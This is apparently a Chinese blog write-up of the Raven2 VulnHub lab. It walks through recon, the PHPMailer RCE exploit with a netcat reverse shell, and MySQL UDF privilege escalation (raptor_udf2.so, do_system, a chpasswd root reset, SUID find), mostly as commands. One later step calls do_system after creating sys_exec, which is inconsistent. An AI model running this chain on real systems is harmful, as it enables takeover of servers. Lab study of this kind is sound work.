Mysql-UDF提权(Raven2系列靶机)
这里搭建了vulhub上的靶机Raven2进行学习
网址:https://www.vulnhub.com/?q=raven2
信息收集
先nmap进行初步扫描开放端口
利用dirb进行扫描目录,发现vendor目录存在漏洞
发现漏洞
浏览器进行访问发现了第一个flag1
继续观察,发现存在phpmailer.php
并且发现了 PHPMailerAutoload.php 这个显眼的php文件,直接让人想到PHPMailer命令执行漏洞,版本号为5.2.16
漏洞利用
在kali 中搜索相关漏洞 searchsploit phpmailer
发现可利用脚本40974.py,将其下载下来,查看配置文件
保存exp的py程序
运行这里可能会出现缺少requests_toolbelt 模块问题
解决方案
pip3 install requests_toolbelt
python3 40974.py
执行脚本后,访问http://IP/contact.php 会生成一个反弹木马文件sb.php,下面进行监听反弹shell
nc -lvnp 3333 反弹得到shell
进行UDF提权
ps -aus | grep root 显示有root字符串的进程和其状态,换句话说就是查找出以root权限运行的服务,或ps -ef | grep mysql
在kali搜索mysql udf可以提权的漏洞脚本
分析脚本进行漏洞利用
分析/var/www/html/wordpress/wp-config.php 文件,找到mysql的密码
得到登录密码后,直接可以登录mysql
这里利用模块反弹一下shell,方便利用
将代码复制到靶机上,成功得到shell
下面进行提权
在kali进行编译得到raptor_udf2.c和.o和.so,将其传到靶机进行利用
mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
在靶机上的/var/www/html/目录进行下载
```mysql
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
当 plugin 的值为空时不可提权
当 plugin 值为 mysql_native_password 时可通过账户连接提权
show variables like '%compile%'; #查看主机版本及架构
show variables like 'plugin%'; #查看 plugin 目录
```
登录mysql进行利用提权
mysql
mysql -uroot -pR@v3nSecurity
use mysql
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system("echo 'root:123456'|chpasswd"); 将root密码修改
查看mysql的插件目录为/usr/lib/mysql/plugin
su root
成功提权
拓展
也可以利用给s权限进行利用
select do_system('chmod u+s /usr/bin/find');
touch a
find a -exec 'whoami' \;
find a -exec '/bin/sh' \;
利用find 成功提权
提权二(利用kali自带udf提权)
locate udf
找到对应的udf脚本文件
这里要将lib_mysqludf_sys.so_进行解码
apl
cd /usr/share/sqlmap/extra/cloak/ 进入cloak目录
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_ 将lib_mysqludf_sys.so_进行解码
解码后的会在在/usr/share/sqlmap/udf/mysql/linux/64目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件,将其上传到靶机
mysql
mysql -uroot -pR@v3nSecurity
use mysql
create table ceshi(line blob);
insert into ceshi values(load_file('/var/www/html/lib_mysqludf_sys.so'));
select * from ceshi into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select * from mysql.func;
select do_system("echo 'root:123456'|chpasswd"); 将root密码修改
总结:Raven靶机还是颇有收获的,也算是对Mysql提权的学习,整理了自己的思路和笔记。
小记:前行的路必然不会一路平坦,但只要方向正确,只在还有毅力,还能坚持下去,就要继续前进,前方会有属于自己的诗和远方。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论